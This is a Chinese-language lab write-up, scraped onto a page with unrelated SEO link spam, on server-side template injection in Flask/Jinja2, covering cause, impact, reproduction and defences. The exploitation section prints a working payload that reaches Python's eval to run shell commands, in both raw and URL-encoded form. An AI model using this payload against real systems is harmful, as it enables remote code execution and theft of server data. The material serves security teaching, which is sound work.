当前位置: 首页 > news >正文

广西建设科技协会网站首页校园网站建设价格

广西建设科技协会网站首页,校园网站建设价格,做网站是怎么赚钱吗,中国建设网官方网站电子银行文章目录 Flask (Jinja2) 服务端模板注入漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞危害1.4 漏洞复现1.4.1 漏洞利用 1.5 漏洞防御 Flask (Jinja2) 服务端模板注入漏洞 1.1 漏洞描述 说明内容漏洞编号漏洞名称Flask (Jinja2) 服务端模板注入漏洞漏洞评级高危影响版本使用Flask框架…

文章目录

  • Flask (Jinja2) 服务端模板注入漏洞
    • 1.1 漏洞描述
    • 1.2 漏洞原理
    • 1.3 漏洞危害
    • 1.4 漏洞复现
      • 1.4.1 漏洞利用
    • 1.5 漏洞防御

Flask (Jinja2) 服务端模板注入漏洞

1.1 漏洞描述

说明内容
漏洞编号
漏洞名称Flask (Jinja2) 服务端模板注入漏洞
漏洞评级高危
影响版本使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。
漏洞描述Flask 是一个流行的 Python Web 框架,而 Jinja2 是其默认的模板引擎。服务端模板注入漏洞发生在应用程序使用模板引擎渲染用户提供的数据时,未能正确过滤或转义用户输入,导致攻击者可以注入自己的模板代码,从而执行恶意操作。
修复方案打补丁,上设备,升级组件

1.2 漏洞原理

在模板引擎中,开发者可以使用特定的语法将数据与模板结合生成最终的输出。然而,如果在这个过程中,直接使用用户提供的数据而没有进行适当的过滤或转义,攻击者就可以注入恶意模板代码。

攻击者可以构造恶意的输入,在用户输入中包含模板标记(如 {{}}),以控制模板引擎的行为。模板引擎会将用户提供的数据作为代码来执行,导致恶意代码执行在服务端上下文中。

1.3 漏洞危害

服务端模板注入漏洞可能导致以下危害:

  1. 执行任意服务器端代码:攻击者可以在服务器上执行任意的代码,包括读写敏感文件、访问数据库、远程命令执行等操作。
  2. 盗取敏感信息:攻击者可以通过读取服务器端数据,包括数据库中存储的敏感信息(如用户凭据、个人信息等)。
  3. 服务器端拒绝服务(DoS):攻击者可以构造恶意输入,导致服务器资源耗尽或崩溃,从而使服务不可用。

1.4 漏洞复现

环境启动

image-20230923102617432

访问http://your-ip/?name={{233*233}},得到54289,说明SSTI漏洞存在。

image-20230923102748954

1.4.1 漏洞利用

获取eval函数并执行任意python代码的POC:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.__globals__.values() %}{% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{undefined{ b['eval']('__import__("os").popen("id").read()') }}{% endif %}{% endif %}{% endfor %}
{% endif %}
{% endfor %}

放在url中需要编码,编码后的结果

{%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__%20==%20%27catch_warnings%27%20%}{%%20for%20b%20in%20c.__init__.__globals__.values()%20%}{%%20if%20b.__class__%20==%20{}.__class__%20%}{%%20if%20%27eval%27%20in%20b.keys()%20%}{{%20b[%27eval%27](%27__import__(%22os%22).popen(%22id%22).read()%27)%20}}{%%20endif%20%}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

然后我们执行,发现命令执行成功。

image-20230923103358474

1.5 漏洞防御

漏洞防御: 以下是一些防御措施来预防 Flask(Jinja2)服务端模板注入漏洞:

  1. 输入验证与过滤:应该对用户提供的输入进行验证,并确保它符合预期的格式和类型。同时,在将用户输入传递给模板引擎之前,必须进行适当的过滤和转义处理。
  2. 不信任用户输入:永远不要相信用户提供的输入数据,即使是在内部使用也要进行验证和转义处理。
  3. 使用安全的模板引擎配置:使用模板引擎时,应该仔细配置其安全选项,以限制模板中可执行的操作和访问的对象。
  4. 最小权限原则:为应用程序和服务器分配最低权限,以降低攻击者成功利用漏洞的可能性。
  5. 定期更新框架和库:及时更新 Flask 和 Jinja2 等相关库,以获取最新的安全修复和补丁。
http://www.yayakq.cn/news/920038/

相关文章:

  • 二级域名怎么做网站备案wordpress 表单验证
  • 佛山网站建设专家什么是网络推广员
  • 网站制作公司智能 乐云践新谭木记网页制作教程
  • 苏州北京商场网站建设asp.net网站管理工具
  • 建设学院网站的通知书阜南县建设局网站
  • 购物网站建设流程个人简历模板免费网站
  • 网站核验点查询wordpress微商城模板下载
  • 建设部房地产网站新网站建设脑图
  • 建工教育网校官方网站做网站公司东莞
  • 济南网站建设正规公司中学网站系统源码
  • 百度网站优化外包网页制作是什么专业学的
  • 长沙网站建设外包微商城官网登录
  • dw+如何做自适应网站win7 iis配置本地网站
  • 柳州 网站建设做网站80端口
  • 仪征建设局网站佛山当地网站建设公司
  • 书店网站建设策划书总结亚马逊电商平台怎么入驻
  • 挪车网站开发2012服务器如何做网站
  • ps插件国外网站python做网站开发
  • 研发地网站建设室内设计软件哪个比较好
  • 影院资讯 wordpress一流的镇江网站优化
  • 免费代理上网网站做外贸网站维护费是多少
  • 网站开发交流平台互站网
  • 标准网站建设推荐wordpress动漫图片主题
  • 公司主营网站开发怎么做账宁波网站建设价格
  • 各大门户网站有哪些网站服务器ip地址查询
  • 网站建设公司那记号千度网站
  • 乐清做网站公司哪家好网站推广托管
  • 婚庆网站的设计意义太原网站改版
  • 株洲网站设计外包运营饮料代理一年能挣80万
  • seo如何优化网站推广wordpress系统api接口